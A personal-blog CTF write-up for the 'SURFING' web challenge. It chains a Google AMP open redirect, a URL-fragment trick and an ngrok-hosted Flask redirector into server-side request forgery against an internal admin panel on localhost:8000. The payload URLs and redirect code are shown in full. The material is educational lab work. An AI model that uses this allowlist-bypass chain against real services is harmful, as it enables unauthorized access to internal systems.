siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

SURFING

Table of Contents

  1. Overview
  2. Background
  3. Enumeration
  4. Exploitation
  5. Conclusion

Overview

Background

My friend wanted a site on which he could steal other people’s photos. Can you break into it ?

Enumeration

Index page:

In here, we can submit a URL with domain google.com.

Let’s try it!

Hmm… The URL must starts with http://google.com/. Let’s try again!

Now we get response from http://google.com/!

Burp Suite HTTP history:

When we clicked the “Fetch Content” button, it’ll sends a GET request to /get with parameter url. After that, the server will response back to us with the provided URL’s content.

Hmm… Basically what this web application does is send requests to the user’s provided URL.

It’s also important to note that the server’s request will append .png to our provided URL:

<p>The requested URL <code>/.png</code> was not found on this server.[...]

Based on my experience, this type of web application may be vulnerable to SSRF (Server-Side Request Forgery), where the attacker able to send requests to internal services, such as local loopback address (127.0.0.1 or localhost).

Interestingly, if we view the source code of the index page (/) via Burp Suite HTTP history, we can see this HTML comment:

<!--  Reminder ! Change creds for admin panel on localhost:8000  ! -->

Hmm… Looks like there’s an internal web application in localhost:8000.

So, our goal is somehow bypass the http://google.com/ check and reach to localhost:8000.

There’re a lot of ways to bypass whitelisted domain (In our case it’s google.com), such as domain parser confusion.

Unfortunately this check can’t be bypassed, so we’ll need to find another way to exploit the SSRF vulnerability.

Another method to bypass the check is to find an open redirect in the whitelisted domain.

Open redirection vulnerabilities arise when an application incorporates user-controllable data into the target of a redirection in an unsafe way. An attacker can construct a URL within the application that causes a redirection to an arbitrary external domain. - https://portswigger.net/kb/issues/00500100_open-redirection-reflected

By exploiting an open redirect in google.com, we can redirect the server’s request to an internal network.

Back in 2023, there’s a web challenge called “youdirect” from corCTF 2023, and its goal is to find an open redirect in youtube.com.

Sounds similar right? Hmm… Can we find an open redirect in google.com?

After researching, the most common “open redirect” in google.com is the /url endpoint with GET parameter q, such as this: http://google.com/url?q=http://example.com/.

However, if we try this, we’ll get this response:

Note: Behind the scenes, google.com will redirects us to www.google.com.

As you can see, this /url endpoint is “half open redirect”, which means it requires user interaction.

Hmm… Looks like we’ll need to find another method.

If we Google “google.com open redirect”, we should see this blog post:

In Google DoubleClick (googleads.g.doubleclick.net), it has an open redirect in route /pcs/click with GET parameter adurl.

Let’s try it:

http://googleads.g.doubleclick.net/pcs/click?adurl=http://example.com/

Oh it worked! It indeed redirected us to http://example.com/!

But wait… This domain is not google.com

Hmm… How about chaining google.com’s /url route with this Google DoubleClick open redirect? Will it requires user interaction? Let’s find out!

http://google.com/url?q=http://googleads.g.doubleclick.net/pcs/click%3fadurl%3dhttp://example.com/

Nope. It didn’t work.

Now, I wonder if http://google.com/url has some trusted domains that don’t require user interaction, possibly some Google’s products, like Google Meet.

I then Googled “google.com url redirect trusted domain”, and this blog post popped up!

If we scroll down a bit, we should see 3 Google platforms that are abused in phishing campaigns, one of which are “Google Accelerated Mobile Pages (AMP)”:

Surely, it should requires user interaction. Right?

Right? Oh…

http://google.com/amp/s/example.com

So… We can leverage Google AMP open redirect to bypass the whitelisted domain!

Exploitation

Armed with above information, we can try to redirect the server’s request to localhost:8000 via Google AMP open redirect:

http://google.com/amp/s/localhost:8000

Huh? Google respond 404 to us? Oh, I forgot the server appends .png to our provided URL.

To fix this, we can add a URI fragment (#, URL encoded: %23) at the end of the localhost’s port:

http://google.com/amp/s/localhost:8000/%23

Now we’re getting HTTP status code “500 INTERNAL SERVER ERROR”…

To figure out why this weird behavior, we can setup our own HTTP server for testing.

┌[siunam♥Mercury]-(~/ctf/TFC-CTF-2024/Web/SURFING)-[2024.08.04|22:11:44(HKT)]
└> python3 -m http.server 80  
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
┌[siunam♥Mercury]-(~/ctf/TFC-CTF-2024/Web/SURFING)-[2024.08.04|22:11:44(HKT)]
└> ngrok http 80 --scheme http 
[...]
Forwarding                    http://cc7d-{REDACTED}.ngrok-free.app -> http://localhost:80             
[...]

Now we can try to send the request again:

Tunnel not found??

Let’s try HTTPS scheme:

┌[siunam♥Mercury]-(~/ctf/TFC-CTF-2024/Web/SURFING)-[2024.08.04|22:17:58(HKT)]
└> ngrok http 80
[...]
Forwarding                    https://66ea-{REDACTED}.ngrok-free.app -> http://localhost:80            
[...]

[...]
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
127.0.0.1 - - [04/Aug/2024 22:18:41] "GET / HTTP/1.1" 200 -

Nice! It worked!

So, my theory for this weird behavior is maybe Google AMP open redirect only supports HTTPS scheme.

Ah ha! Because the internal web application localhost:8000 doesn’t support HTTPS scheme, and Google AMP returned HTTP status code “500 INTERNAL SERVER ERROR”!

To solve this, we can host an HTTPS web application that redirects the server’s request to locahost:8000.

Here’s a Flask web application that redirects incoming requests to localhost:8000:

#!/usr/bin/env python3
from flask import Flask, redirect

app = Flask(__name__)

@app.route('/')
def indexRedirect():
    redirectUrl = 'http://localhost:8000/'
    return redirect(redirectUrl)

if __name__ == '__main__':
    app.run('0.0.0.0', port=80, debug=True)

Then run it:

┌[siunam♥Mercury]-(~/ctf/TFC-CTF-2024/Web/SURFING)-[2024.08.04|22:40:21(HKT)]
└> python3 app.py           
 * Serving Flask app 'app'
 * Debug mode: on
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on all addresses (0.0.0.0)
 * Running on http://127.0.0.1:80
 * Running on http://10.69.96.69:80
[...]

Next, send the request again:

Nice! We can now reach to the challenge’s internal web application at localhost:8000, and it respond with this HTML content:

<!DOCTYPE html>
<html>
<head>
    <title>Admin Login</title>
</head>
<body>
    <form action="admin.php" method="get">
        <label for="username">Username:</label>
        <input type="text" id="username" name="admin" required>

        <label for="password">Password:</label>
        <input type="password" id="password" name="admin" required>
        <br>
        <input type="submit" value="Login">
    </form>
</body>
</html>

As you can see, path / is an admin login page and it has a <form> element.

When the form is submitted, it’ll send a GET request to admin.php with GET parameter username and password.

Hmm… Strangely enough, those <input> elements has attribute name with the exact same value admin. In the HTML comment at the very beginning of this journey, we can assume that this is the admin credentials:

Therefore, we can redirect the server’s request to http://localhost:8000/admin.php?username=admin&password=admin, which should allows us to login as the admin user!

Let’s modify our Flask web application’s source code!

@app.route('/')
def indexRedirect():
    redirectUrl = 'http://localhost:8000/admin.php?username=admin&password=admin'
    return redirect(redirectUrl)

Send the request again and fingers crossed!

Let’s go!! We got the flag!

Conclusion

What we’ve learned:

  1. Open redirect in Google Accelerated Mobile Pages (AMP) to Server-Side Request Forgery